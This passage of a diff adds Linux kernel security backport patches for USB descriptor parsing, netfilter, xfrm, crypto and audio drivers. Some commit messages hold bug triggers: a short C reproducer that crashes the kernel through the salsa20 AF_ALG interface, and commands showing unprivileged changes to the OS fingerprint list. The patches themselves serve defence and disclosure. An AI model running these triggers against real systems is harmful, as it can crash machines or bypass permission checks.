CONFIG_KASAN_INLINE enabled +kasan: GPF could be caused by NULL-ptr deref or user memory access as + +Reported-by: Andrey Konovalov +Signed-off-by: Malcolm Priestley +Signed-off-by: Mauro Carvalho Chehab +--- + drivers/media/usb/dvb-usb-v2/lmedm04.c | 26 ++++++++++++++++++-------- + 1 file changed, 18 insertions(+), 8 deletions(-) + +diff --git a/drivers/media/usb/dvb-usb-v2/lmedm04.c b/drivers/media/usb/dvb-usb-v2/lmedm04.c +index 5e320fa4a795..992f2011a6ba 100644 +--- a/drivers/media/usb/dvb-usb-v2/lmedm04.c ++++ b/drivers/media/usb/dvb-usb-v2/lmedm04.c +@@ -494,18 +494,23 @@ static int lme2510_pid_filter(struct dvb_usb_adapter *adap, int index, u16 pid, + + static int lme2510_return_status(struct dvb_usb_device *d) + { +- int ret = 0; ++ int ret; + u8 *data; + +- data = kzalloc(10, GFP_KERNEL); ++ data = kzalloc(6, GFP_KERNEL); + if (!data) + return -ENOMEM; + +- ret |= usb_control_msg(d->udev, usb_rcvctrlpipe(d->udev, 0), +- 0x06, 0x80, 0x0302, 0x00, data, 0x0006, 200); +- info("Firmware Status: %x (%x)", ret , data[2]); ++ ret = usb_control_msg(d->udev, usb_rcvctrlpipe(d->udev, 0), ++ 0x06, 0x80, 0x0302, 0x00, ++ data, 0x6, 200); ++ if (ret != 6) ++ ret = -EINVAL; ++ else ++ ret = data[2]; ++ ++ info("Firmware Status: %6ph", data); + +- ret = (ret < 0) ? -ENODEV : data[2]; + kfree(data); + return ret; + } +@@ -1189,6 +1194,7 @@ static int lme2510_get_adapter_count(struct dvb_usb_device *d) + static int lme2510_identify_state(struct dvb_usb_device *d, const char **name) + { + struct lme2510_state *st = d->priv; ++ int status; + + usb_reset_configuration(d->udev); + +@@ -1197,12 +1203,16 @@ static int lme2510_identify_state(struct dvb_usb_device *d, const char **name) + + st->dvb_usb_lme2510_firmware = dvb_usb_lme2510_firmware; + +- if (lme2510_return_status(d) == 0x44) { ++ status = lme2510_return_status(d); ++ if (status == 0x44) { + *name = lme_firmware_switch(d, 0); + return COLD; + } + +- return 0; ++ if (status != 0x47) ++ return -EINVAL; ++ ++ return WARM; + } + + static int lme2510_get_stream_config(struct dvb_frontend *fe, u8 *ts_type, +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0457-7bf7a7116ed3-media dvbusbv2 lmedm04 move ts2020 attach to dm04lme2510tuner.patch b/recipes-kernel/linux/linux-bass/autopatcher/0457-7bf7a7116ed3-media dvbusbv2 lmedm04 move ts2020 attach to dm04lme2510tuner.patch new file mode 100644 index 0000000..a112d2d --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0457-7bf7a7116ed3-media dvbusbv2 lmedm04 move ts2020 attach to dm04lme2510tuner.patch @@ -0,0 +1,70 @@ +From 7bf7a7116ed313c601307f7e585419369926ab05 Mon Sep 17 00:00:00 2001 +From: Malcolm Priestley +Date: Tue, 26 Sep 2017 17:10:21 -0400 +Subject: media: dvb-usb-v2: lmedm04: move ts2020 attach to dm04_lme2510_tuner + +When the tuner was split from m88rs2000 the attach function is in wrong +place. + +Move to dm04_lme2510_tuner to trap errors on failure and removing +a call to lme_coldreset. + +Prevents driver starting up without any tuner connected. + +Fixes to trap for ts2020 fail. +LME2510(C): FE Found M88RS2000 +ts2020: probe of 0-0060 failed with error -11 +... +LME2510(C): TUN Found RS2000 tuner +kasan: CONFIG_KASAN_INLINE enabled +kasan: GPF could be caused by NULL-ptr deref or user memory access +general protection fault: 0000 [#1] PREEMPT SMP KASAN + +Reported-by: Andrey Konovalov +Signed-off-by: Malcolm Priestley +Tested-by: Andrey Konovalov +Signed-off-by: Mauro Carvalho Chehab +--- + drivers/media/usb/dvb-usb-v2/lmedm04.c | 13 ++++++------- + 1 file changed, 6 insertions(+), 7 deletions(-) + +diff --git a/drivers/media/usb/dvb-usb-v2/lmedm04.c b/drivers/media/usb/dvb-usb-v2/lmedm04.c +index 992f2011a6ba..be26c029546b 100644 +--- a/drivers/media/usb/dvb-usb-v2/lmedm04.c ++++ b/drivers/media/usb/dvb-usb-v2/lmedm04.c +@@ -1076,8 +1076,6 @@ static int dm04_lme2510_frontend_attach(struct dvb_usb_adapter *adap) + + if (adap->fe[0]) { + info("FE Found M88RS2000"); +- dvb_attach(ts2020_attach, adap->fe[0], &ts2020_config, +- &d->i2c_adap); + st->i2c_tuner_gate_w = 5; + st->i2c_tuner_gate_r = 5; + st->i2c_tuner_addr = 0x60; +@@ -1143,17 +1141,18 @@ static int dm04_lme2510_tuner(struct dvb_usb_adapter *adap) + ret = st->tuner_config; + break; + case TUNER_RS2000: +- ret = st->tuner_config; ++ if (dvb_attach(ts2020_attach, adap->fe[0], ++ &ts2020_config, &d->i2c_adap)) ++ ret = st->tuner_config; + break; + default: + break; + } + +- if (ret) ++ if (ret) { + info("TUN Found %s tuner", tun_msg[ret]); +- else { +- info("TUN No tuner found --- resetting device"); +- lme_coldreset(d); ++ } else { ++ info("TUN No tuner found"); + return -ENODEV; + } + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0458-a50829479f58-Input gtco fix potential outofbound access.patch b/recipes-kernel/linux/linux-bass/autopatcher/0458-a50829479f58-Input gtco fix potential outofbound access.patch new file mode 100644 index 0000000..45f7ca7 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0458-a50829479f58-Input gtco fix potential outofbound access.patch @@ -0,0 +1,57 @@ +From a50829479f58416a013a4ccca791336af3c584c7 Mon Sep 17 00:00:00 2001 +From: Dmitry Torokhov +Date: Mon, 23 Oct 2017 16:46:00 -0700 +Subject: Input: gtco - fix potential out-of-bound access + +parse_hid_report_descriptor() has a while (i < length) loop, which +only guarantees that there's at least 1 byte in the buffer, but the +loop body can read multiple bytes which causes out-of-bounds access. + +Reported-by: Andrey Konovalov +Reviewed-by: Andrey Konovalov +Cc: stable@vger.kernel.org +Signed-off-by: Dmitry Torokhov +--- + drivers/input/tablet/gtco.c | 17 ++++++++++------- + 1 file changed, 10 insertions(+), 7 deletions(-) + +diff --git a/drivers/input/tablet/gtco.c b/drivers/input/tablet/gtco.c +index b796e891e2eed..4b8b9d7aa75e2 100644 +--- a/drivers/input/tablet/gtco.c ++++ b/drivers/input/tablet/gtco.c +@@ -230,13 +230,17 @@ static void parse_hid_report_descriptor(struct gtco *device, char * report, + + /* Walk this report and pull out the info we need */ + while (i < length) { +- prefix = report[i]; +- +- /* Skip over prefix */ +- i++; ++ prefix = report[i++]; + + /* Determine data size and save the data in the proper variable */ +- size = PREF_SIZE(prefix); ++ size = (1U << PREF_SIZE(prefix)) >> 1; ++ if (i + size > length) { ++ dev_err(ddev, ++ "Not enough data (need %d, have %d)\n", ++ i + size, length); ++ break; ++ } ++ + switch (size) { + case 1: + data = report[i]; +@@ -244,8 +248,7 @@ static void parse_hid_report_descriptor(struct gtco *device, char * report, + case 2: + data16 = get_unaligned_le16(&report[i]); + break; +- case 3: +- size = 4; ++ case 4: + data32 = get_unaligned_le32(&report[i]); + break; + } +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0459-ea04efee7635-Input imspsu check if CDC union descriptor is sane.patch b/recipes-kernel/linux/linux-bass/autopatcher/0459-ea04efee7635-Input imspsu check if CDC union descriptor is sane.patch new file mode 100644 index 0000000..70c9682 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0459-ea04efee7635-Input imspsu check if CDC union descriptor is sane.patch @@ -0,0 +1,50 @@ +From ea04efee7635c9120d015dcdeeeb6988130cb67a Mon Sep 17 00:00:00 2001 +From: Dmitry Torokhov +Date: Sat, 7 Oct 2017 11:07:47 -0700 +Subject: Input: ims-psu - check if CDC union descriptor is sane + +Before trying to use CDC union descriptor, try to validate whether that it +is sane by checking that intf->altsetting->extra is big enough and that +descriptor bLength is not too big and not too small. + +Reported-by: Andrey Konovalov +Signed-off-by: Dmitry Torokhov +--- + drivers/input/misc/ims-pcu.c | 16 ++++++++++++++-- + 1 file changed, 14 insertions(+), 2 deletions(-) + +diff --git a/drivers/input/misc/ims-pcu.c b/drivers/input/misc/ims-pcu.c +index 6bf82ea8c918..ae473123583b 100644 +--- a/drivers/input/misc/ims-pcu.c ++++ b/drivers/input/misc/ims-pcu.c +@@ -1635,13 +1635,25 @@ ims_pcu_get_cdc_union_desc(struct usb_interface *intf) + return NULL; + } + +- while (buflen > 0) { ++ while (buflen >= sizeof(*union_desc)) { + union_desc = (struct usb_cdc_union_desc *)buf; + ++ if (union_desc->bLength > buflen) { ++ dev_err(&intf->dev, "Too large descriptor\n"); ++ return NULL; ++ } ++ + if (union_desc->bDescriptorType == USB_DT_CS_INTERFACE && + union_desc->bDescriptorSubType == USB_CDC_UNION_TYPE) { + dev_dbg(&intf->dev, "Found union header\n"); +- return union_desc; ++ ++ if (union_desc->bLength >= sizeof(*union_desc)) ++ return union_desc; ++ ++ dev_err(&intf->dev, ++ "Union descriptor to short (%d vs %zd\n)", ++ union_desc->bLength, sizeof(*union_desc)); ++ return NULL; + } + + buflen -= union_desc->bLength; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0460-7fd078337201-net qmiwwan fix divide by 0 on bad descriptors.patch b/recipes-kernel/linux/linux-bass/autopatcher/0460-7fd078337201-net qmiwwan fix divide by 0 on bad descriptors.patch new file mode 100644 index 0000000..16bf3f5 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0460-7fd078337201-net qmiwwan fix divide by 0 on bad descriptors.patch @@ -0,0 +1,61 @@ +From 7fd078337201cf7468f53c3d9ef81ff78cb6df3b Mon Sep 17 00:00:00 2001 +From: =?UTF-8?q?Bj=C3=B8rn=20Mork?= +Date: Mon, 6 Nov 2017 15:32:18 +0100 +Subject: net: qmi_wwan: fix divide by 0 on bad descriptors +MIME-Version: 1.0 +Content-Type: text/plain; charset=UTF-8 +Content-Transfer-Encoding: 8bit + +A CDC Ethernet functional descriptor with wMaxSegmentSize = 0 will +cause a divide error in usbnet_probe: + +divide error: 0000 [#1] PREEMPT SMP KASAN +Modules linked in: +CPU: 0 PID: 24 Comm: kworker/0:1 Not tainted 4.14.0-rc8-44453-g1fdc1a82c34f #56 +Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Bochs 01/01/2011 +Workqueue: usb_hub_wq hub_event +task: ffff88006bef5c00 task.stack: ffff88006bf60000 +RIP: 0010:usbnet_update_max_qlen+0x24d/0x390 drivers/net/usb/usbnet.c:355 +RSP: 0018:ffff88006bf67508 EFLAGS: 00010246 +RAX: 00000000000163c8 RBX: ffff8800621fce40 RCX: ffff8800621fcf34 +RDX: 0000000000000000 RSI: ffffffff837ecb7a RDI: ffff8800621fcf34 +RBP: ffff88006bf67520 R08: ffff88006bef5c00 R09: ffffed000c43f881 +R10: ffffed000c43f880 R11: ffff8800621fc406 R12: 0000000000000003 +R13: ffffffff85c71de0 R14: 0000000000000000 R15: 0000000000000000 +FS: 0000000000000000(0000) GS:ffff88006ca00000(0000) knlGS:0000000000000000 +CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 +CR2: 00007ffe9c0d6dac CR3: 00000000614f4000 CR4: 00000000000006f0 +Call Trace: + usbnet_probe+0x18b5/0x2790 drivers/net/usb/usbnet.c:1783 + qmi_wwan_probe+0x133/0x220 drivers/net/usb/qmi_wwan.c:1338 + usb_probe_interface+0x324/0x940 drivers/usb/core/driver.c:361 + really_probe drivers/base/dd.c:413 + driver_probe_device+0x522/0x740 drivers/base/dd.c:557 + +Fix by simply ignoring the bogus descriptor, as it is optional +for QMI devices anyway. + +Fixes: 423ce8caab7e ("net: usb: qmi_wwan: New driver for Huawei QMI based WWAN devices") +Reported-by: Andrey Konovalov +Signed-off-by: Bjørn Mork +Signed-off-by: David S. Miller +--- + drivers/net/usb/qmi_wwan.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/drivers/net/usb/qmi_wwan.c b/drivers/net/usb/qmi_wwan.c +index 8c37336082710..a4f229edcceb8 100644 +--- a/drivers/net/usb/qmi_wwan.c ++++ b/drivers/net/usb/qmi_wwan.c +@@ -681,7 +681,7 @@ static int qmi_wwan_bind(struct usbnet *dev, struct usb_interface *intf) + } + + /* errors aren't fatal - we can live with the dynamic address */ +- if (cdc_ether) { ++ if (cdc_ether && cdc_ether->wMaxSegmentSize) { + dev->hard_mtu = le16_to_cpu(cdc_ether->wMaxSegmentSize); + usbnet_get_ethernet_addr(dev, cdc_ether->iMACAddress); + } +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0461-59c1cd1c1e20-PATCH ipsec Fix aborted xfrm policy dump crash.patch b/recipes-kernel/linux/linux-bass/autopatcher/0461-59c1cd1c1e20-PATCH ipsec Fix aborted xfrm policy dump crash.patch new file mode 100644 index 0000000..f32ade6 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0461-59c1cd1c1e20-PATCH ipsec Fix aborted xfrm policy dump crash.patch @@ -0,0 +1,44 @@ +From 59c1cd1c1e2074638ef524ef256b5ac8e7c09903 Mon Sep 17 00:00:00 2001 +From: Ben Hutchings +Date: Sat, 9 Dec 2017 19:24:58 +0000 +Subject: [PATCH] ipsec: Fix aborted xfrm policy dump crash + +commit 1137b5e2529a8f5ca8ee709288ecba3e68044df2 upstream. + +This is a fix for CVE-2017-16939 suitable for older stable branches. +The upstream fix is commit 1137b5e2529a8f5ca8ee709288ecba3e68044df2, +from which the following explanation is taken: + + An independent security researcher, Mohamed Ghannam, has reported + this vulnerability to Beyond Security's SecuriTeam Secure Disclosure + program. + + The xfrm_dump_policy_done function expects xfrm_dump_policy to + have been called at least once or it will crash. This can be + triggered if a dump fails because the target socket's receive + buffer is full. + +It was not possible to define a 'start' callback for netlink dumps +until Linux 4.5, so instead add a check for the initialisation flag in +the 'done' callback. + +Change-Id: Id8a129889b11800178c37374ff9fee5af68ccff9 +Signed-off-by: Ben Hutchings +--- + net/xfrm/xfrm_user.c | 3 ++- + 1 file changed, 2 insertions(+), 1 deletion(-) + +diff --git a/net/xfrm/xfrm_user.c b/net/xfrm/xfrm_user.c +index 26d2b8713f2..5bbc6dc418b 100644 +--- a/net/xfrm/xfrm_user.c ++++ b/net/xfrm/xfrm_user.c +@@ -1562,7 +1562,8 @@ static int xfrm_dump_policy_done(struct netlink_callback *cb) + { + struct xfrm_policy_walk *walk = (struct xfrm_policy_walk *) &cb->args[1]; + +- xfrm_policy_walk_done(walk); ++ if (cb->args[0]) ++ xfrm_policy_walk_done(walk); + return 0; + } + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0462-916a27901de0-netfilter xtosf Add missing permission checks.patch b/recipes-kernel/linux/linux-bass/autopatcher/0462-916a27901de0-netfilter xtosf Add missing permission checks.patch new file mode 100644 index 0000000..3ad2977 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0462-916a27901de0-netfilter xtosf Add missing permission checks.patch @@ -0,0 +1,60 @@ +From 916a27901de01446bcf57ecca4783f6cff493309 Mon Sep 17 00:00:00 2001 +From: Kevin Cernekee +Date: Tue, 5 Dec 2017 15:42:41 -0800 +Subject: netfilter: xt_osf: Add missing permission checks + +The capability check in nfnetlink_rcv() verifies that the caller +has CAP_NET_ADMIN in the namespace that "owns" the netlink socket. +However, xt_osf_fingers is shared by all net namespaces on the +system. An unprivileged user can create user and net namespaces +in which he holds CAP_NET_ADMIN to bypass the netlink_net_capable() +check: + + vpnns -- nfnl_osf -f /tmp/pf.os + + vpnns -- nfnl_osf -f /tmp/pf.os -d + +These non-root operations successfully modify the systemwide OS +fingerprint list. Add new capable() checks so that they can't. + +Signed-off-by: Kevin Cernekee +Signed-off-by: Pablo Neira Ayuso +--- + net/netfilter/xt_osf.c | 7 +++++++ + 1 file changed, 7 insertions(+) + +diff --git a/net/netfilter/xt_osf.c b/net/netfilter/xt_osf.c +index 36e14b1f061d..a34f314a8c23 100644 +--- a/net/netfilter/xt_osf.c ++++ b/net/netfilter/xt_osf.c +@@ -19,6 +19,7 @@ + #include + #include + ++#include + #include + #include + #include +@@ -70,6 +71,9 @@ static int xt_osf_add_callback(struct net *net, struct sock *ctnl, + struct xt_osf_finger *kf = NULL, *sf; + int err = 0; + ++ if (!capable(CAP_NET_ADMIN)) ++ return -EPERM; ++ + if (!osf_attrs[OSF_ATTR_FINGER]) + return -EINVAL; + +@@ -115,6 +119,9 @@ static int xt_osf_remove_callback(struct net *net, struct sock *ctnl, + struct xt_osf_finger *sf; + int err = -ENOENT; + ++ if (!capable(CAP_NET_ADMIN)) ++ return -EPERM; ++ + if (!osf_attrs[OSF_ATTR_FINGER]) + return -EINVAL; + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0463-48a4ff1c7bb5-USB core prevent malicious bNumInterfaces overflow.patch b/recipes-kernel/linux/linux-bass/autopatcher/0463-48a4ff1c7bb5-USB core prevent malicious bNumInterfaces overflow.patch new file mode 100644 index 0000000..d92cbee --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0463-48a4ff1c7bb5-USB core prevent malicious bNumInterfaces overflow.patch @@ -0,0 +1,48 @@ +From 48a4ff1c7bb5a32d2e396b03132d20d552c0eca7 Mon Sep 17 00:00:00 2001 +From: Alan Stern +Date: Tue, 12 Dec 2017 14:25:13 -0500 +Subject: USB: core: prevent malicious bNumInterfaces overflow + +A malicious USB device with crafted descriptors can cause the kernel +to access unallocated memory by setting the bNumInterfaces value too +high in a configuration descriptor. Although the value is adjusted +during parsing, this adjustment is skipped in one of the error return +paths. + +This patch prevents the problem by setting bNumInterfaces to 0 +initially. The existing code already sets it to the proper value +after parsing is complete. + +Signed-off-by: Alan Stern +Reported-by: Andrey Konovalov +CC: +Signed-off-by: Greg Kroah-Hartman +--- + drivers/usb/core/config.c | 4 +++- + 1 file changed, 3 insertions(+), 1 deletion(-) + +diff --git a/drivers/usb/core/config.c b/drivers/usb/core/config.c +index 55b198ba629b3..78e92d29f8d98 100644 +--- a/drivers/usb/core/config.c ++++ b/drivers/usb/core/config.c +@@ -555,6 +555,9 @@ static int usb_parse_configuration(struct usb_device *dev, int cfgidx, + unsigned iad_num = 0; + + memcpy(&config->desc, buffer, USB_DT_CONFIG_SIZE); ++ nintf = nintf_orig = config->desc.bNumInterfaces; ++ config->desc.bNumInterfaces = 0; // Adjusted later ++ + if (config->desc.bDescriptorType != USB_DT_CONFIG || + config->desc.bLength < USB_DT_CONFIG_SIZE || + config->desc.bLength > size) { +@@ -568,7 +571,6 @@ static int usb_parse_configuration(struct usb_device *dev, int cfgidx, + buffer += config->desc.bLength; + size -= config->desc.bLength; + +- nintf = nintf_orig = config->desc.bNumInterfaces; + if (nintf > USB_MAXINTERFACES) { + dev_warn(ddev, "config %d has too many interfaces: %d, " + "using maximum allowed: %d\n", +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0464.diff b/recipes-kernel/linux/linux-bass/autopatcher/0464.diff new file mode 100644 index 0000000..d7cce60 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0464.diff @@ -0,0 +1,64 @@ +diff --git a/sound/soc/msm/qdsp6v2/rtac.c b/sound/soc/msm/qdsp6v2/rtac.c +index 00c4e90..f219185 100644 +--- a/sound/soc/msm/qdsp6v2/rtac.c ++++ b/sound/soc/msm/qdsp6v2/rtac.c +@@ -817,6 +817,14 @@ + bytes_returned = ((u32 *)rtac_cal[ADM_RTAC_CAL].cal_data. + kvaddr)[2] + 3 * sizeof(u32); + ++ if (bytes_returned > rtac_cal[ADM_RTAC_CAL]. ++ map_data.map_size) { ++ pr_err("%s: Invalid data size = %d\n", ++ __func__, bytes_returned); ++ result = -EINVAL; ++ goto err; ++ } ++ + if (bytes_returned > user_buf_size) { + pr_err("%s: User buf not big enough, size = 0x%x, returned size = 0x%x\n", + __func__, user_buf_size, bytes_returned); +@@ -1025,6 +1033,14 @@ + bytes_returned = ((u32 *)rtac_cal[ASM_RTAC_CAL].cal_data. + kvaddr)[2] + 3 * sizeof(u32); + ++ if (bytes_returned > rtac_cal[ASM_RTAC_CAL]. ++ map_data.map_size) { ++ pr_err("%s: Invalid data size = %d\n", ++ __func__, bytes_returned); ++ result = -EINVAL; ++ goto err; ++ } ++ + if (bytes_returned > user_buf_size) { + pr_err("%s: User buf not big enough, size = 0x%x, returned size = 0x%x\n", + __func__, user_buf_size, bytes_returned); +@@ -1268,6 +1284,14 @@ + bytes_returned = get_resp->param_size + + sizeof(struct afe_port_param_data_v2); + ++ if (bytes_returned > rtac_cal[AFE_RTAC_CAL]. ++ map_data.map_size) { ++ pr_err("%s: Invalid data size = %d\n", ++ __func__, bytes_returned); ++ result = -EINVAL; ++ goto err; ++ } ++ + if (bytes_returned > user_afe_buf.buf_size) { + pr_err("%s: user size = 0x%x, returned size = 0x%x\n", + __func__, user_afe_buf.buf_size, +@@ -1476,6 +1500,14 @@ + bytes_returned = ((u32 *)rtac_cal[VOICE_RTAC_CAL].cal_data. + kvaddr)[2] + 3 * sizeof(u32); + ++ if (bytes_returned > rtac_cal[VOICE_RTAC_CAL]. ++ map_data.map_size) { ++ pr_err("%s: Invalid data size = %d\n", ++ __func__, bytes_returned); ++ result = -EINVAL; ++ goto err; ++ } ++ + if (bytes_returned > user_buf_size) { + pr_err("%s: User buf not big enough, size = 0x%x, returned size = 0x%x\n", + __func__, user_buf_size, bytes_returned); diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0465-ecaaab564978-crypto salsa20 fix blkcipherwalk API usage.patch b/recipes-kernel/linux/linux-bass/autopatcher/0465-ecaaab564978-crypto salsa20 fix blkcipherwalk API usage.patch new file mode 100644 index 0000000..24a360c --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0465-ecaaab564978-crypto salsa20 fix blkcipherwalk API usage.patch @@ -0,0 +1,90 @@ +From ecaaab5649781c5a0effdaf298a925063020500e Mon Sep 17 00:00:00 2001 +From: Eric Biggers +Date: Tue, 28 Nov 2017 20:56:59 -0800 +Subject: crypto: salsa20 - fix blkcipher_walk API usage + +When asked to encrypt or decrypt 0 bytes, both the generic and x86 +implementations of Salsa20 crash in blkcipher_walk_done(), either when +doing 'kfree(walk->buffer)' or 'free_page((unsigned long)walk->page)', +because walk->buffer and walk->page have not been initialized. + +The bug is that Salsa20 is calling blkcipher_walk_done() even when +nothing is in 'walk.nbytes'. But blkcipher_walk_done() is only meant to +be called when a nonzero number of bytes have been provided. + +The broken code is part of an optimization that tries to make only one +call to salsa20_encrypt_bytes() to process inputs that are not evenly +divisible by 64 bytes. To fix the bug, just remove this "optimization" +and use the blkcipher_walk API the same way all the other users do. + +Reproducer: + + #include + #include + #include + + int main() + { + int algfd, reqfd; + struct sockaddr_alg addr = { + .salg_type = "skcipher", + .salg_name = "salsa20", + }; + char key[16] = { 0 }; + + algfd = socket(AF_ALG, SOCK_SEQPACKET, 0); + bind(algfd, (void *)&addr, sizeof(addr)); + reqfd = accept(algfd, 0, 0); + setsockopt(algfd, SOL_ALG, ALG_SET_KEY, key, sizeof(key)); + read(reqfd, key, sizeof(key)); + } + +Reported-by: syzbot +Fixes: eb6f13eb9f81 ("[CRYPTO] salsa20_generic: Fix multi-page processing") +Cc: # v2.6.25+ +Signed-off-by: Eric Biggers +Signed-off-by: Herbert Xu +--- + arch/x86/crypto/salsa20_glue.c | 7 ------- + crypto/salsa20_generic.c | 7 ------- + 2 files changed, 14 deletions(-) + +diff --git a/arch/x86/crypto/salsa20_glue.c b/arch/x86/crypto/salsa20_glue.c +index 399a29d067d6..cb91a64a99e7 100644 +--- a/arch/x86/crypto/salsa20_glue.c ++++ b/arch/x86/crypto/salsa20_glue.c +@@ -59,13 +59,6 @@ static int encrypt(struct blkcipher_desc *desc, + + salsa20_ivsetup(ctx, walk.iv); + +- if (likely(walk.nbytes == nbytes)) +- { +- salsa20_encrypt_bytes(ctx, walk.src.virt.addr, +- walk.dst.virt.addr, nbytes); +- return blkcipher_walk_done(desc, &walk, 0); +- } +- + while (walk.nbytes >= 64) { + salsa20_encrypt_bytes(ctx, walk.src.virt.addr, + walk.dst.virt.addr, +diff --git a/crypto/salsa20_generic.c b/crypto/salsa20_generic.c +index f550b5d94630..d7da0eea5622 100644 +--- a/crypto/salsa20_generic.c ++++ b/crypto/salsa20_generic.c +@@ -188,13 +188,6 @@ static int encrypt(struct blkcipher_desc *desc, + + salsa20_ivsetup(ctx, walk.iv); + +- if (likely(walk.nbytes == nbytes)) +- { +- salsa20_encrypt_bytes(ctx, walk.dst.virt.addr, +- walk.src.virt.addr, nbytes); +- return blkcipher_walk_done(desc, &walk, 0); +- } +- + while (walk.nbytes >= 64) { + salsa20_encrypt_bytes(ctx, walk.dst.virt.addr, + walk.src.virt.addr, +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0466.diff b/recipes-kernel/linux/linux-bass/autopatcher/0466.diff new file mode 100644 index 0000000..c612659 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0466.diff @@ -0,0 +1,59 @@ +diff --git a/crypto/hmac.c b/crypto/hmac.c +index 8d9544c..e736186 100644 +--- a/crypto/hmac.c ++++ b/crypto/hmac.c +@@ -197,11 +197,15 @@ + salg = shash_attr_alg(tb[1], 0, 0); + if (IS_ERR(salg)) + return PTR_ERR(salg); ++ alg = &salg->base; + ++ /* The underlying hash algorithm must be unkeyed */ + err = -EINVAL; ++ if (crypto_shash_alg_has_setkey(salg)) ++ goto out_put_alg; ++ + ds = salg->digestsize; + ss = salg->statesize; +- alg = &salg->base; + if (ds > alg->cra_blocksize || + ss < alg->cra_blocksize) + goto out_put_alg; +diff --git a/crypto/shash.c b/crypto/shash.c +index 929058a..d40199f 100644 +--- a/crypto/shash.c ++++ b/crypto/shash.c +@@ -24,11 +24,12 @@ + + static const struct crypto_type crypto_shash_type; + +-static int shash_no_setkey(struct crypto_shash *tfm, const u8 *key, +- unsigned int keylen) ++int shash_no_setkey(struct crypto_shash *tfm, const u8 *key, ++ unsigned int keylen) + { + return -ENOSYS; + } ++EXPORT_SYMBOL_GPL(shash_no_setkey); + + static int shash_setkey_unaligned(struct crypto_shash *tfm, const u8 *key, + unsigned int keylen) +diff --git a/include/crypto/internal/hash.h b/include/crypto/internal/hash.h +index 821eae8..0af57a9 100644 +--- a/include/crypto/internal/hash.h ++++ b/include/crypto/internal/hash.h +@@ -70,6 +70,14 @@ + struct ahash_instance *inst); + void ahash_free_instance(struct crypto_instance *inst); + ++int shash_no_setkey(struct crypto_shash *tfm, const u8 *key, ++ unsigned int keylen); ++ ++static inline bool crypto_shash_alg_has_setkey(struct shash_alg *alg) ++{ ++ return alg->setkey != shash_no_setkey; ++} ++ + int crypto_init_ahash_spawn(struct crypto_ahash_spawn *spawn, + struct hash_alg_common *alg, + struct crypto_instance *inst); diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0467-72d7b83afbc4-netfilter xtTCPMSS add more sanity tests on tcphdoff.patch b/recipes-kernel/linux/linux-bass/autopatcher/0467-72d7b83afbc4-netfilter xtTCPMSS add more sanity tests on tcphdoff.patch new file mode 100644 index 0000000..4ce8803 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0467-72d7b83afbc4-netfilter xtTCPMSS add more sanity tests on tcphdoff.patch @@ -0,0 +1,51 @@ +From 72d7b83afbc4659de5948c4cc33f5d7b47f09aa4 Mon Sep 17 00:00:00 2001 +From: Eric Dumazet +Date: Mon, 3 Apr 2017 10:55:11 -0700 +Subject: netfilter: xt_TCPMSS: add more sanity tests on tcph->doff + +commit 2638fd0f92d4397884fd991d8f4925cb3f081901 upstream. + +Denys provided an awesome KASAN report pointing to an use +after free in xt_TCPMSS + +I have provided three patches to fix this issue, either in xt_TCPMSS or +in xt_tcpudp.c. It seems xt_TCPMSS patch has the smallest possible +impact. + +Signed-off-by: Eric Dumazet +Reported-by: Denys Fedoryshchenko +Signed-off-by: Pablo Neira Ayuso +[wt: adjust context] + +Signed-off-by: Willy Tarreau +--- + net/netfilter/xt_TCPMSS.c | 6 +++++- + 1 file changed, 5 insertions(+), 1 deletion(-) + +diff --git a/net/netfilter/xt_TCPMSS.c b/net/netfilter/xt_TCPMSS.c +index 7011c71646f0..c656269c4cf0 100644 +--- a/net/netfilter/xt_TCPMSS.c ++++ b/net/netfilter/xt_TCPMSS.c +@@ -68,7 +68,7 @@ tcpmss_mangle_packet(struct sk_buff *skb, + tcph = (struct tcphdr *)(skb_network_header(skb) + tcphoff); + + /* Header cannot be larger than the packet */ +- if (tcplen < tcph->doff*4) ++ if (tcplen < tcph->doff*4 || tcph->doff*4 < sizeof(struct tcphdr)) + return -1; + + if (info->mss == XT_TCPMSS_CLAMP_PMTU) { +@@ -117,6 +117,10 @@ tcpmss_mangle_packet(struct sk_buff *skb, + if (tcplen > tcph->doff*4) + return 0; + ++ /* tcph->doff has 4 bits, do not wrap it to 0 */ ++ if (tcph->doff >= 15) ++ return 0; ++ + /* + * MSS Option not found ?! add it.. + */ +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0468-340d394a7895-Input i8042 fix crash at boot time.patch b/recipes-kernel/linux/linux-bass/autopatcher/0468-340d394a7895-Input i8042 fix crash at boot time.patch new file mode 100644 index 0000000..76773ae --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0468-340d394a7895-Input i8042 fix crash at boot time.patch @@ -0,0 +1,121 @@ +From 